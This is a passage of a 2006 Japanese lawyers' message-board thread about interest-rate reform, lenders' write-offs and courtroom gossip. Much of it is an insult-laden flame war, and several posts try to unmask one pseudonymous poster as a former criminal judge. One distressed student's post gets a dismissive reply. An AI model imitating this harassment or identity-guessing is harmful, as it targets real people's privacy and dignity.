339 :無責任な名無しさん:2006/09/11(月) 20:54:28 ID:kCFV0lcF
>>330>>210氏は、床屋には行けたみたいだなw
磯弁だろうか?

340 :無責任な名無しさん:2006/09/11(月) 20:57:04 ID:vCfdwiQF
>>339
DVD見て受任通知は出したんだな

このペースだとイソではない気がします。
私はイソですが

341 :無責任な名無しさん:2006/09/11(月) 21:14:34 ID:wWuFbamd
早くこのスレ埋めて,次行こう。

342 :無責任な名無しさん:2006/09/11(月) 21:15:49 ID:wWuFbamd
交渉案件で放置気味なものが多い・・・。
時効にはまだまだかからないが,多分回収の可能性は低減してきていると思う・・・。
さてどうしようか。

343 :無責任な無責任:2006/09/11(月) 21:29:47 ID:34SKzOja
 損金処理ができれば、減益となり、税額が減るのがメリットでは? 損金処理が出来ない方が利益は増加するのでは?

344 :無責任な名無しさん:2006/09/11(月) 22:03:12 ID:XV06AJdd
>>318
立川市?都?が切り売りしてくれないから仕方ないらしい。
余った部分は貸すとかするんだろうな。きっと。

345 :無責任な名無しさん:2006/09/11(月) 22:03:24 ID:vCfdwiQF
>>342
俺もある

帳簿や契約書がデタラメなのが投げられたままになっている。
引っ張りすぎなので,デタラメであることを言い訳にできなくなっている

346 :非弁取締委員会:2006/09/11(月) 22:23:47 ID:rwsDwQuD
>>336 ID:wWuFbamd

非弁乙

347 :無責任な名無しさん:2006/09/11(月) 22:26:34 ID:BLVcZoUB
しかしクレサラの依頼者はやってて馬鹿馬鹿しくなる奴が多い。
こんな連中を真剣に助けようなんて気は全くおきない。
消費者保護系の弁護士はよく熱心にやれるよなあ。

348 :無責任な名無しさん:2006/09/11(月) 22:31:00 ID:gC3fuXdP
業者がいちいちID変えてご苦労なこった。
スレ上げてるのがただ一人だから分かりやすいな。

349 :非弁取締委員会:2006/09/11(月) 22:31:11 ID:rwsDwQuD
>>337 ID:wWuFbamd

非弁乙

受任できる→委任できる
買手→売手

日本語学校に池

350 :無責任な名無しさん:2006/09/11(月) 22:33:26 ID:rwsDwQuD
>>347
票とかねさ

351 :無責任な名無しさん:2006/09/11(月) 22:48:53 ID:M7jSl0Pu
>>343
その損金処理が過大だから脱税なのではないか?ということだろ。
法的に回収できない債権が貸し倒れになったとしても貸倒損失にするのはおかしい。



352 :無責任な名無しさん:2006/09/11(月) 22:50:00 ID:M7jSl0Pu
>>347
逆に言えば「業者はなんでこんな奴に貸すかね?正気かね?」と思うことも多々。

353 :無責任な名無しさん:2006/09/11(月) 22:55:15 ID:rwsDwQuD
>>336 ID:wWuFbamd

黒字→赤字

とにかく早く日本語学校に池
答弁書で、原告の請求を認諾すると書いてそうで心配だ

354 :無責任な名無しさん:2006/09/11(月) 22:59:05 ID:rwsDwQuD
>>352
bakaがbakaに貸してちょうどいいじゃないか

355 :無責任な名無しさん:2006/09/11(月) 23:08:32 ID:M7jSl0Pu
過払返還請求で特損計上。契約者の破産で損失計上。
それでも利益が数百億。
ほんとの利益はどのくらいあがってるんだろうか?

356 :無責任な名無しさん:2006/09/11(月) 23:29:31 ID:SJsFi1xA
各種損失は過大計上
強引取立分は収益除外
ジャマイカ

ちなむと
違法な収益でも課税対象
違法な経費は経費性否認
というのが判例

357 :無責任な名無しさん:2006/09/11(月) 23:53:45 ID:rwsDwQuD
>>355 356
もうこの話はいいよ。

党の方はそろそろお引取りください
スレタイとローカルルール読んでね


358 :無責任な名無しさん:2006/09/12(火) 00:13:51 ID:hNfRTUTf
政党の話しているのお前だけだって気付けよ。
金利引き下げ=共産党って思っているのお前だけ。
sage推奨も知らないローカルルール違反もお前だけ。
粘着業者乙。

359 :無責任な名無しさん:2006/09/12(火) 00:29:03 ID:jUovcK8f
業者のネット世論工作という噂が一見真実味を帯びてきたw
どうせ業者を装ったただの荒らしだろうけどねww

360 :無責任な名無しさん:2006/09/12(火) 00:45:55 ID:+PFmUnVX
>>330
チーズが好物なのか。
たんぱく質を多くとりすぎだと思われ。

361 :無責任な名無しさん:2006/09/12(火) 02:21:50 ID:ow9QdUeq
アーーーーーーーーーーーーーーーー
俺もうロースクール中退していい?
もう無理。前期も単位落としたし、取った科目もなんも身についてない。
携帯のマニュアル以上に興味ないよ。何言ってるのかチンプンカンプン。

後期の学費納入がもうすぐで、何も知らない両親は学費だけは何も言わずに払ってくれるんだが
無意味。どう考えても。
今辞めたら、三十路前で無職借金持ち(奨学金)。だがこのまま続けても
年齢と借金が嵩むだけだ。

「あなたが夢を追いかけるなら家族としてサポートする」って言ってくれてるのは
ありがたいけど、そもそも夢じゃないし、興味ないし。
むしろ「やりたくない」って言えないがためにここまでずるずる来ただけで。

なんでこんなになっちゃったんだろう。
東大法学部に行けば、とりあえず選択肢をキープできると思っただけなのに
何も選べず、何も選ばず、家族に迷惑かけて歳だけ重ねてしまった。

「アナタにはこんなにお金かけてるのよ?」ってずっと言われてきたけど
そんなことしないで全部他のことに使ってくれれば良かったのに。
いっそ生まれてこなければ良かったのに。俺。

362 :無責任な名無しさん:2006/09/12(火) 04:04:24 ID:8NIwNG2o
>>361
誰にいってんだか

363 :無責任な名無しさん:2006/09/12(火) 06:33:15 ID:lbXSk20S
>>361
東大法学部がホントかどうかはともかく、
どこの世界にでも一定の割合で「おちこぼれ」が発生しているよ。
気にすることほどのことではない。

オレには、まだ、弁護士界で落ちこぼれないようにしたいという気持ちがある。
だから、同憂の士?を探して、時々このスレを覗いてみる。
マー最近は、弁護士の質が落ちてきたから、以前よりは安心感が増してきた。
ただし、経営・経済的な面は逆だが・・・。

364 :無責任な名無しさん:2006/09/12(火) 09:59:06 ID:cbCsxZBE
このスレ見てると、弁護士は全員今回の改正案に反対で、賛成する人などいるはずがない
いればそいつは業者に違いないと思い込んでいる痛い馬鹿がいるようですね。いや、それとも
承知の上で単に悪意に満ちたレッテル張りをしているだけなのかな? もし、そうなら、
反対意見の存在を一切許さず、党中央の意見といささかでも違えば、反革命分子、反党分子
のレッテルを貼って追放、粛清する、どこかの政治集団とみなされても仕方がないよね。

365 :無責任な名無しさん:2006/09/12(火) 11:05:50 ID:FoP3ytvc
基地外は右だろうが左だろうがなんだろうが同じだな
>>364のことですよ。

何で共産党が出てくるんだろう。


366 :無責任な名無しさん:2006/09/12(火) 11:06:26 ID:T9Yl+aQi
age てる荒らしはスルーで

367 :無責任な名無しさん:2006/09/12(火) 11:10:32 ID:T9Yl+aQi
最高裁の判例を無にする立法はどうかと思うのは
フツーの法曹のリーガルマインドなんジャマイカ

368 :無責任な名無しさん:2006/09/12(火) 11:15:17 ID:FoP3ytvc
>>367
お前は共産党だ

と来るわけだな

369 :無責任な名無しさん:2006/09/12(火) 11:18:06 ID:iLBw9o8s
>>364
>>358を声を出して100回読め。


370 :無責任な名無しさん:2006/09/12(火) 11:30:57 ID:UIKo0IYo
>>364
きっと熱血紅衛兵も村長さんらに帽子をかぶせて強要したんだろうな・・・

371 :無責任な名無しさん:2006/09/12(火) 11:36:19 ID:UIKo0IYo
自己批判文を100回嫁! ってね。

372 :無責任な名無しさん:2006/09/12(火) 11:45:39 ID:iLBw9o8s
IDを変えてまでご苦労だね。>>業者


373 :無責任な名無しさん:2006/09/12(火) 12:07:39 ID:UIKo0IYo
>>365
364のどこにも共産党なんてでてきてないじゃん。
それとも、あんたは共産党がそんな政治集団だと主張するのかい?

374 :無責任な名無しさん:2006/09/12(火) 12:14:59 ID:T9Yl+aQi
>>373=364

そういう当て擦り暗喩を否認しても裁判では通用しないよw>非弁さん

375 :無責任な名無しさん:2006/09/12(火) 13:02:52 ID:UIKo0IYo
左翼政治集団と言えば共産党しか知らない弁護士もいるんだ。まぁ、保釈保証書を知らないよりは害はないか・・・

376 :無責任な名無しさん:2006/09/12(火) 13:04:48 ID:FoP3ytvc
もはや基地外だな

377 :無責任な名無しさん:2006/09/12(火) 13:13:51 ID:T9Yl+aQi
知っている法律用語と政治用語を並べた偏見だけの本人訴訟の典型例

378 :無責任な名無しさん:2006/09/12(火) 14:37:56 ID:swbtFXD8
しかしなぁ、元裁判官が2チャンでぶち切れるというのもどうかなぁ・・・

379 :無責任な名無しさん:2006/09/12(火) 15:32:05 ID:T9Yl+aQi
弁護士叩きに生きがいを見出した本人訴訟の原告と変わらんねw

380 :無責任な名無しさん:2006/09/12(火) 15:49:21 ID:swbtFXD8
しかし、たくさんの人が読んでいて、誰でもあなたが元裁判官と分かるわけだから
揶揄やぶち切れるのはいかんでしょう。


381 :無責任な名無しさん:2006/09/12(火) 15:58:15 ID:T9Yl+aQi
誰かを元裁判官に決め付けて論点ずらしですか( ゚Д゚)ポカーン

382 :無責任な名無しさん:2006/09/12(火) 16:06:56 ID:iLBw9o8s
次第に業者書き込みのDQN度が高くなっている件について


383 :無責任な名無しさん:2006/09/12(火) 16:12:28 ID:97rmTQRX
日本育英会が債権者一覧表に載る破産申立をやったことがある。
財団債権なのかな?と一瞬悩んだ。

384 :無責任な名無しさん:2006/09/12(火) 16:12:55 ID:T9Yl+aQi
>>382
ネタ切れと法的税制的専門知識の欠如の周回遅れで騒ぎ出したのでしょう(爆。

385 :無責任な名無しさん:2006/09/12(火) 16:13:59 ID:97rmTQRX
>>373
共産党はそんな政治集団だよ。

386 :無責任な名無しさん:2006/09/12(火) 16:14:28 ID:97rmTQRX
何を見てヤメ判だと判断したのだろう?

387 :無責任な名無しさん:2006/09/12(火) 16:17:04 ID:T9Yl+aQi
>>386
本人訴訟に言及したことだけが根拠だったりして(ゲラ

388 :無責任な名無しさん:2006/09/12(火) 16:19:45 ID:ydMZLNiQ
>>381 ID:T9Yl+aQi
やはり元職業柄ご正直ですね。元裁判官でないとは決して言わない。



389 :無責任な名無しさん:2006/09/12(火) 16:25:05 ID:ydMZLNiQ
>>ID:T9Yl+aQi
 ゚Д゚)ポカーン
爆。
(ゲラ

何か突然若者ぶってますね。でも、文体と合わない。

390 :無責任な名無しさん:2006/09/12(火) 16:50:25 ID:97rmTQRX
元裁判官であることの立証責任がないから,「元裁判官であるとはいえない」という事実認定で十分だよなw

391 :無責任な名無しさん:2006/09/12(火) 16:56:04 ID:iLBw9o8s
>>388 ydMZLNiQ
職業柄ではないのに正直ですね。業者でないとは決して言わない。

392 :無責任な名無しさん:2006/09/12(火) 17:11:17 ID:FoP3ytvc
結局基地外なの?

393 :無責任な名無しさん:2006/09/12(火) 18:02:29 ID:T9Yl+aQi
>>392
おそらくw
漏れはプロパーでヤメ判のわけがないよ。
顔文字や「(コメ」まであれこれ言って分析しているつもりになっているけど。
30そこそこのねら〜弁護士なら普通に使う人も多いんだけどね(ゲラ
「業者の独自の解釈で採用の限りではない。所論は理由がない。」でしょ。

394 :無責任な名無しさん:2006/09/12(火) 18:17:33 ID:Q18uLW0z
ひゃひゃひゃwww バカ発見www

http://yasuyasu.blog.shinobi.jp/

395 :無責任な名無しさん:2006/09/12(火) 18:27:56 ID:T9Yl+aQi
>>394
スレ違いです
荒らしは止めて下さい
スレタイ読めないの?

396 :無責任な名無しさん:2006/09/12(火) 19:59:26 ID:7NM/yqbN
>>395
プッ、真面目な地が出た。393の文章も無理があり過ぎ,あなたに「漏れ」は似合いませんよ。


397 :無責任な名無しさん:2006/09/12(火) 20:56:18 ID:0Kf7xfEk
多重債務者排除論を支持するね。
共有主体性を認める必要もないし、特定人の為だけに金利を制限するのは問題がありすぎ。

398 :397:2006/09/12(火) 21:03:27 ID:0Kf7xfEk
社会福祉が叫ばれる昨今、急速に議論されるようになった新しい論点。
この論点は、何処まで国家が法的救済をするのかというもので、
全ての人に満遍なく保護しようという考えがある一方、破産者排除論、
多重債務者排除論等様々な説がありその内容も選挙権を与えるのか
など細部にわたって説がある。
まだ、始まったばかりの議論だから統一的な見解がない。

399 :無責任な名無しさん:2006/09/12(火) 21:36:42 ID:jUovcK8f
>破産者排除論、多重債務者排除論等様々な説がありその
>内容も選挙権を与えるのかなど細部にわたって説がある。

 Σ(゚Д゚)マヂに逝ッテンデスカ?!
 憲法と破産法を勉強したの??

400 :無責任な名無しさん:2006/09/12(火) 21:39:49 ID:8Erqs2OD
◇28億脱税で5人逮捕 京都のパチンコ業者

 京都市右京区のパチンコ店経営会社「山村」の経営陣らが、法人や個人の所得計約79億円を
隠し計約28億円を脱税したとして、大阪地検特捜部は12日、法人税法と所得税法違反の疑いで
同社代表取締役の山村友七こと崔大秀容疑者(69)と、息子の同社役員ら計5人を逮捕。
 大阪国税局と合同で関係先を家宅捜索した。

 逮捕されたのはほかに、崔容疑者の実弟で同社役員の大造(66)、息子の允載(42)、
日載(35)、英載(39)の各容疑者。
 5人はいずれも容疑を認め、允載、英載両容疑者は「崔容疑者の指示に従っただけ」などと
供述しているという。

 脱税額は過去有数の規模に上っており、特捜部と国税局は、手口や金の流れなど事件の
全容解明を目指す。

ソース:東京新聞
http://www.tokyo-np.co.jp/flash/2006091201001559.html


401 :無責任な名無しさん:2006/09/12(火) 21:39:58 ID:bALCdX8b
沿線に自宅があって、そこに置いてあるマイカーに付着している鉄粉の量が半端じゃないって、言われてるんですけど、これって、鉄道会社に責任は問えるのでしょうか?


402 :無責任な名無しさん:2006/09/12(火) 21:42:55 ID:5jXAHlAU
何の責任?

403 :無責任な名無しさん:2006/09/12(火) 21:46:19 ID:/RhZi+Ne
法テラスも何とか開業にこぎ着けて、やれやれですな。

404 :無責任な名無しさん:2006/09/12(火) 21:47:51 ID:lbXSk20S
>>401
stray sheep 出ていけ!

405 :無責任な名無しさん:2006/09/12(火) 22:19:32 ID:/pVdv0+M
971 名前: 氏名黙秘 2006/08/27(日) 12:19:24 ID:???

おっすオラ梅謙次郎!
今度民法を作ることになったんだけどさ,一緒に作ることになった
穂積陳重って奴と富井政章って奴が強え〜のなんのって。
オラ今からもうワクワクしてきたぜ!

406 :公平な第三者:2006/09/12(火) 22:30:08 ID:PHH88nw/
ID:T9Yl+aQi は明らかにヤメ判だ。

407 :無責任な名無しさん:2006/09/12(火) 22:33:16 ID:PHH88nw/
何か誰かが無理にスレを埋めてますね。


408 :無責任な名無しさん:2006/09/12(火) 22:33:48 ID:jUovcK8f
>>406
根拠レスw
偏見の見本

409 :無責任な名無しさん:2006/09/12(火) 22:36:35 ID:o1jlUJnU
ヤメ判だっていいじゃないか

410 :無責任な名無しさん:2006/09/12(火) 22:38:40 ID:8Erqs2OD
にんげんだもの

411 :無責任な名無しさん:2006/09/12(火) 22:39:48 ID:PHH88nw/
>>408
なるほどそういうことですか。一晩中がんばって下さい。お体を壊さないよう。
元判事殿




412 :無責任な名無しさん:2006/09/12(火) 22:40:08 ID:8Erqs2OD
鉄道沿線は鉄粉銅粉が多いから,重金属症になりやすいというね。
地域的に多すぎて,因果関係も明らかでないから,問題になってないけど。


413 :無責任な名無しさん:2006/09/12(火) 22:40:52 ID:8Erqs2OD
おれも自称「元判事」。
元,判子ばっかり押す事務員やってたから。うへ。

414 :無責任な名無しさん:2006/09/12(火) 22:42:16 ID:PHH88nw/
ID:T9Yl+aQi は明らかにヤメ判だ。


415 :無責任な名無しさん:2006/09/12(火) 22:43:42 ID:8Erqs2OD
ヤメ判っておいしいの?

416 :無責任な名無しさん:2006/09/12(火) 22:44:13 ID:80KFJqI3
しょっぱい

417 :無責任な名無しさん:2006/09/12(火) 22:45:17 ID:8Erqs2OD
確かに,ほんとにしょっぱそうだ。

418 :無責任な名無しさん:2006/09/12(火) 22:46:35 ID:PHH88nw/
一晩中がんばって下さい。お体を壊さないよう。
元判事殿


419 :無責任な名無しさん:2006/09/12(火) 22:47:59 ID:gf/EYu8E
9月の新刊
読売新聞社会部著
「ドキュメント 検察官−揺れ動く「正義」」
(中公新書)

検察官の暴走をいさめる内容になっているだろうか?

420 :無責任な名無しさん:2006/09/12(火) 22:50:11 ID:PHH88nw/
休廷ですか?

421 :無責任な名無しさん:2006/09/12(火) 22:54:46 ID:PHH88nw/
無意味な埋め立てスレの内容もヤメ判らしいのが悲しい

422 :無責任な名無しさん:2006/09/12(火) 22:55:01 ID:8Erqs2OD
明日やること。

・・・・の契約書作らなきゃいけない(業者に任せたい)
情状証人と打ち合わせの日を決めなきゃいけない(電話出ない)
ブラジルの・・・・・・・・・・なきゃいけない(できるのか?)


423 :無責任な名無しさん:2006/09/12(火) 22:58:24 ID:PHH88nw/
>>422
人のまねは頂けません。独創性を出して下さい

424 :無責任な名無しさん:2006/09/12(火) 23:05:22 ID:PHH88nw/
もう閉廷ですか? ドン引きの人も多いだろうな

425 :最高事務総局:2006/09/12(火) 23:23:48 ID:PHH88nw/
397以降先輩の一人芝居でご迷惑をおかけしました。皆さんにおわびします。


426 :無責任な名無しさん:2006/09/12(火) 23:29:52 ID:0Kf7xfEk
ポルトガル語なんてわかんねーよ。翻訳なんて頼みたくねーーよ。

427 :無責任な名無しさん:2006/09/12(火) 23:30:46 ID:0Kf7xfEk
>>425


428 :無責任な名無しさん:2006/09/12(火) 23:32:01 ID:0Kf7xfEk
ボボだよ ボボ ボボボボッボボ ボボ

429 :無責任な名無しさん:2006/09/12(火) 23:38:07 ID:x5Bsiofh
判例時報 新刊 1935号!

・ 裁判所が裁判所に対して105万円余を支払えと判決を…!?
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430 :最高事務総局:2006/09/12(火) 23:38:59 ID:PHH88nw/
必死にスレを埋めてヤメ判問題から話をそらしたいようです。
皆さんやりたいようにやらして下さい。

431 :最高事務総局:2006/09/12(火) 23:45:07 ID:PHH88nw/
あなたが育てた判事補も見てるかも知れないんですよ。恥ずかしくないんですか。

432 :無責任な名無しさん:2006/09/13(水) 00:37:46 ID:i4sGtI8j
よっぽど本人訴訟で裁判官と相手側弁護士にズタボロにやり込められたんだろなw
この流れ見てれば無理もないが。弁スレで元裁判官叩きというのも超粘着房だろ!

433 :無責任な名無しさん:2006/09/13(水) 12:10:08 ID:JwJiMzvG
やっぱスレタイはよく考えないといけないね。

434 :無責任な名無しさん:2006/09/13(水) 12:31:06 ID:1UxO2eG0
どうせ貸金業者かあるいは業者から依頼を受けた書き込み業者でしょう。
外資系はこの件ではかなり必死らしいしね。
業者の書き込みがここまで叩き潰されるのは予想外だったかもしれんがw
業者書き込みのレベルがあまりにも低すぎたw

435 :無責任な名無しさん:2006/09/13(水) 12:40:49 ID:kQ/l1EDk
いかに元とはいえ、これほど醜態をさらすのはねぇ。

436 :無責任な名無しさん:2006/09/13(水) 12:46:04 ID:3CDFSQF+
法的素養がろくにない業者だったからね。
アレじゃ少し勉強している法学部生の足元にも及んでない。

437 :無責任な名無しさん:2006/09/13(水) 12:47:50 ID:JwJiMzvG
そのくせ非弁認定するって言う面の皮の厚さは学ばないといけないね

438 :無責任な名無しさん:2006/09/13(水) 12:51:32 ID:kQ/l1EDk
何だよ。休廷後再開か? もうやめてよ。

439 :無責任な名無しさん:2006/09/13(水) 12:57:19 ID:yGWQYTX0
>>434
週刊朝日に、8月中旬、シーファー駐日米国大使が与謝野大臣に会いに来て、
金利を下げないでと迫ったと書いてある。

440 :無責任な名無しさん:2006/09/13(水) 13:10:37 ID:kQ/l1EDk
祭りかな? 元裁も負けず劣らず超粘着房だ。

たぶん
東京在住、定年退官、客員弁護士、国選もしている。生真面目な性格、読書好き
、博識、ハソコン大好き だな

441 :無責任な名無しさん:2006/09/13(水) 13:16:02 ID:3CDFSQF+
>>439
米国は自国企業の海外活動にも政府が露骨に援助するかなー。

442 :無責任な名無しさん:2006/09/13(水) 13:34:01 ID:4DhZ4SuR
<大阪>和解金を着服 弁護士を逮捕
http://headlines.yahoo.co.jp/hl?a=20060912-00000010-abc-l27

最近弁護士の横領事件多くねぇ?
まあ法律論争に自身がなくて、和解関係や債務整理ばっかり扱ってる
ゴミ弁護士がみたいだけどな。
法律を盾にしてるヤクザだな!

443 :無責任な名無しさん:2006/09/13(水) 13:42:39 ID:kQ/l1EDk
まあ、「自身」がある弁はいないだろw

裁判官みたいなことを言うねぇ。裁判に持ち込まずに和解で解決するのが腕がいい弁護士だ。
裁判所で延々法律論争をしていてどうする。

444 :無責任な名無しさん:2006/09/13(水) 15:22:09 ID:lRIIpSg0
年収いくらくらいですか

445 :無責任な名無しさん:2006/09/13(水) 16:01:07 ID:yGWQYTX0
3億万円

446 :無責任な名無しさん:2006/09/13(水) 16:03:58 ID:MKCOHYhS
1ちょうえん

447 :無責任な名無しさん:2006/09/13(水) 16:06:46 ID:9m/6zvKz
1京円

448 :無責任な名無しさん:2006/09/13(水) 16:57:07 ID:y7rAljy+
もういいです。

負けるが勝ちにします。

先生も国選情状証人の打ち合わせやポルトガル語の契約書等大事なお仕事に専念して下さい。
ネットを楽しまれるのは結構ですが、文体や内容から直ぐに元職がバレるわけですから、
今回を教訓に今後あまり問題あるカキコをされないようされた方がよいかと思います。

449 :無責任な名無しさん:2006/09/13(水) 17:16:06 ID:3CDFSQF+
>文体や内容から直ぐに元職がバレるわけですから

俺はヤメ検ってばれたことないぞ

450 :無責任な名無しさん:2006/09/13(水) 17:33:13 ID:nd4YCSIT
1800万円

451 :無責任な名無しさん:2006/09/13(水) 17:34:31 ID:p3tIUhx3
小遣いだけなら年50万円


452 :無責任な名無しさん:2006/09/13(水) 18:13:23 ID:e7ckUDOe
このスレタイを考えた人は反省して欲しい。

453 :無責任な名無しさん:2006/09/13(水) 18:21:35 ID:+07N6KAj
3000くらいかな。よくしらない。

454 :無責任な名無しさん:2006/09/13(水) 18:26:25 ID:Bf37fGu7
1億ペリカ

455 :無責任な名無しさん:2006/09/13(水) 18:59:25 ID:sKNlI7uW
みっともない。いい加減にしなさい。裁判官の部屋スレを覗いたけど、貴方は刑事裁判官だったんですね。
もう絶句ですね。

456 :無責任な名無しさん:2006/09/13(水) 19:05:07 ID:sKNlI7uW
>>448
ポルトガル語の契約書じゃなくて、単に外国人刑事事件の関係資料ですね。

457 :無責任な名無しさん:2006/09/13(水) 19:22:52 ID:sKNlI7uW
ブラジルだからおそらくオーバーステイの事件か?


458 :無責任な名無しさん:2006/09/13(水) 19:24:16 ID:sKNlI7uW
419 :無責任な名無しさん :2006/09/12(火) 22:47:59 ID:gf/EYu8E
9月の新刊
読売新聞社会部著
「ドキュメント 検察官−揺れ動く「正義」」
(中公新書)

検察官の暴走をいさめる内容になっているだろうか?


刑事裁判官だからこういう本に興味がある。


459 :無責任な名無しさん:2006/09/13(水) 19:24:20 ID:MKCOHYhS
「ブラジルの・・・・」を書いた5?期の田舎弁です。
正解は,被告人からブラジルの親族への連絡を頼まれているのでお手紙を書かなければいけないのでした。
>>456惜しい!

460 :無責任な名無しさん:2006/09/13(水) 19:26:31 ID:sKNlI7uW
419 :無責任な名無しさん :2006/09/12(火) 22:47:59 ID:gf/EYu8E
9月の新刊
読売新聞社会部著
「ドキュメント 検察官−揺れ動く「正義」」
(中公新書)

検察官の暴走をいさめる内容になっているだろうか?

退官直前に無罪判決を出しており、検察に対する疑念を持っているから、このような書評になる。



461 :無責任な名無しさん:2006/09/13(水) 19:27:11 ID:MKCOHYhS
いま書いている訴状は,なんとも事件名がきれいに付かない。
非常に珍奇な事件名をつけた訴状を出す予定です。
「○○○○の○○されたことの確認請求事件」みたいな本人訴訟(←NGワード)風の事件名しか付けられません。
みなさんどんな珍事件名をつけたことがありますか?

462 :無責任な名無しさん:2006/09/13(水) 19:28:04 ID:sKNlI7uW
近々その無罪判決が高裁で覆りそうになっていて、気が気でない。


463 :無責任な名無しさん:2006/09/13(水) 19:29:07 ID:MKCOHYhS
退官した後で自分の判決の上訴審の結果なんて気にする必要があるの?

464 :無責任な名無しさん:2006/09/13(水) 19:29:18 ID:sKNlI7uW
東京少なくとも関東の裁判所に勤務していた。


465 :無責任な名無しさん:2006/09/13(水) 19:29:40 ID:MKCOHYhS
刑事裁判官と民事裁判官ってどう違うか知ってる?

466 :無責任な名無しさん:2006/09/13(水) 19:31:35 ID:sKNlI7uW
あるいは、少なくとも現在は東京若しくは関東に居住している。


467 :無責任な名無しさん:2006/09/13(水) 19:33:08 ID:sKNlI7uW
狭い世界だから、誰のことかもう分かる人には分かっている。


468 :無責任な名無しさん:2006/09/13(水) 19:34:07 ID:MKCOHYhS
アジシスの新キャラ?

469 :無責任な名無しさん:2006/09/13(水) 19:34:31 ID:sKNlI7uW
狼狽してIDを変え忘れて反応するのは有罪の心証

以上だ。サヨナラ

470 :無責任な名無しさん:2006/09/13(水) 19:36:48 ID:MKCOHYhS
さよなら。

最近,「さようなら」って声に出して言ってないな。
「じゃあ。」とか,「また連絡しますね。」とか,「お疲れさま。」ばっかり。

471 :無責任な名無しさん:2006/09/13(水) 19:43:39 ID:sKNlI7uW
おっと証拠の引用を忘れた。

裁判官の部屋
259 名前:無責任な名無しさん :2006/09/13(水) 10:03:43 ID:3CDFSQF+
高裁で俺の無罪判決が破棄されそうだ_| ̄|○


こういうの_| ̄|○  好きだね。本当にサヨナラ

472 :無責任な名無しさん:2006/09/13(水) 19:56:35 ID:i4sGtI8j
2chの法曹イタ渡り歩きのDQNだったか
お疲れ様でーす

473 :無責任な名無しさん:2006/09/13(水) 20:31:36 ID:NHpQbxEz
最近は、くだらん連中の殴り込みとドタバタばかりだね。
本当に、こんな弁護士が増えてきているんかな。
まんざら、否定できないことがまた悲しいね。

474 :無責任な名無しさん:2006/09/13(水) 21:08:31 ID:4uf2UAD8
たしかに懲戒になる香具師が増えているよな
それも使い込みとか名義貸しが増えている

ゴルフ帰りに飲酒運転業過が少なくなったけど

475 :無責任な名無しさん:2006/09/13(水) 21:45:39 ID:OA+aoOQZ
某検察庁の売店(それほど大きくない)では
何ヶ月も前から,電動チワワのぬいぐるみのバーゲンセールやってますね

その他の商品は菓子とか生活雑貨等のキオスク的な品揃えなのに
なんで結構なスペース取ってチワワ売ってるんだろう・・・。
あまりに仕事に疲れ果てて,トコトコ動く電動チワワで心癒したいPが多いのかなあ

この間は,真夏に「秋,冬限定発売!」と銘打たれたキャンディを
売っていました(余所では見たことのない商品)

ミステリアスで面白いところですね

476 :無責任な名無しさん:2006/09/13(水) 22:00:09 ID:BsfXK/sN
この人正常じゃないね。こんな人の裁判を受けた被告人はかわいそう。


477 :無責任な名無しさん:2006/09/13(水) 22:01:37 ID:uF3t71ky
>>474
確かにゴルフに行く暇がなくなってきた。

478 :無責任な名無しさん:2006/09/13(水) 22:04:56 ID:BsfXK/sN
たぶん支部3段飛びかな?

479 :無責任な名無しさん:2006/09/13(水) 22:07:41 ID:uF3t71ky
制限金利が下がると,たぶん保証人や担保を取る業者が増えるだろうな・・・。
保証否認の事件が増えそうだ。

480 :無責任な名無しさん:2006/09/13(水) 22:08:42 ID:uF3t71ky
>>475
売店のあるP庁って,東京大阪名古屋レベルだけでは?

481 :無責任な名無しさん:2006/09/13(水) 22:10:45 ID:BoXCjN2p
弁護士が東京地検の売店になんか
立ち寄れる雰囲気じゃないと思うんだが・・


482 :無責任な名無しさん:2006/09/13(水) 22:22:19 ID:4uf2UAD8
札幌行政合同(地検高検)にはコンビニがあるよ
3つのバッジが行きかっているw

483 :無責任な名無しさん:2006/09/13(水) 22:27:41 ID:BsfXK/sN
多重人格か?

同じJでも、くらたたくじは異才だったが、このには人には才能の片鱗もない。

484 :無責任な名無しさん:2006/09/13(水) 22:32:04 ID:4uf2UAD8
まだこの業者クズが粘着してんだw

485 :無責任な名無しさん:2006/09/13(水) 22:33:50 ID:4uf2UAD8
くらたたくじ=倉田卓次くらい漢字で書こう
このスレはそういう人しかいないスレだよ
スレタイとローカルルール見てね

J批判したいならJスレ逝ったら(プゲラ

486 :無責任な名無しさん:2006/09/13(水) 22:38:31 ID:BoXCjN2p
トリビアをひとつ・・

紀伊国屋新宿本店の1階新刊・文芸フロアに

倉田卓次氏の文章が載った本が売られている




日本の名随筆シリーズ別巻91「裁判」に
倉田氏の「裁判官の国語力は中学生並か 給付判決主文の用語をめぐって」
なる随筆が載っているのでした


487 :無責任な名無しさん:2006/09/13(水) 22:45:06 ID:BsfXK/sN
やはり多重人格か。

488 :無責任な名無しさん:2006/09/13(水) 22:52:57 ID:4uf2UAD8
×多重人格
○解離性同一性障害
出典:DC10,DMSW

489 :無責任な名無しさん:2006/09/13(水) 23:03:23 ID:87PT3BRF
>>488
非弁のクズ業者にレスつけるな
知っている専門用語を必死に並べるだけで
付け上がるただの粘着房だから

490 :無責任な名無しさん:2006/09/13(水) 23:32:30 ID:uF3t71ky
ちょっと前の判タに倉田卓次の弁解みたいなのが載ってたやつ,詳しく読んでないのだが,結局沼正三は別人だと言ってたの?

491 :無責任な名無しさん:2006/09/13(水) 23:36:07 ID:BoXCjN2p
>>490
倉田ファンの私が要約しますと

1倉田氏は裁判所事務官の名前で奇譚クラブ(SM雑誌)を購読しており
 その文通欄を通じて沼正三本人ほか数名と文通をしていた
2沼氏からヤプーの構想を聞かされアドバイスをしたことがあり、そのことを
 別の文通相手に自分がヤプーの構想を考えたみたいに誇張した手紙を送った
3ヤプー発表後、マスコミがその手紙を根拠に倉田=沼説を大々的にとりあげた

というのが真相のようです

492 :無責任な名無しさん:2006/09/13(水) 23:42:19 ID:uF3t71ky
>>491
ありがとう。なるほど。
でも本当にそのとおりかどうかはわからんね。

493 :無責任な名無しさん:2006/09/13(水) 23:44:01 ID:JK/Lwrj1
>>491
それが本当でも,結局同じスケベSM仲間の同類だったってことね

494 :無責任な名無しさん:2006/09/13(水) 23:52:20 ID:g1fvk9Sp
変態万歳!

495 :無責任な名無しさん:2006/09/14(木) 00:15:09 ID:c+pgyH1N
>>493
でも倉田さんは公私混同しなかったよ
職場からモッコリ写メを送ったりしなかった

もっとも当時は写メなんかなかったけどw

496 :無責任な名無しさん:2006/09/14(木) 00:29:06 ID:0pwrBcfI
当時はモッコリ写真をプリントするにも写真屋に持って行かなきゃいけなかったからな。

497 :361:2006/09/14(木) 01:24:15 ID:A/uyhamC
>>363
>東大法学部がホントかどうかはともかく、
>どこの世界にでも一定の割合で「おちこぼれ」が発生しているよ。
おちこぼれか。。。
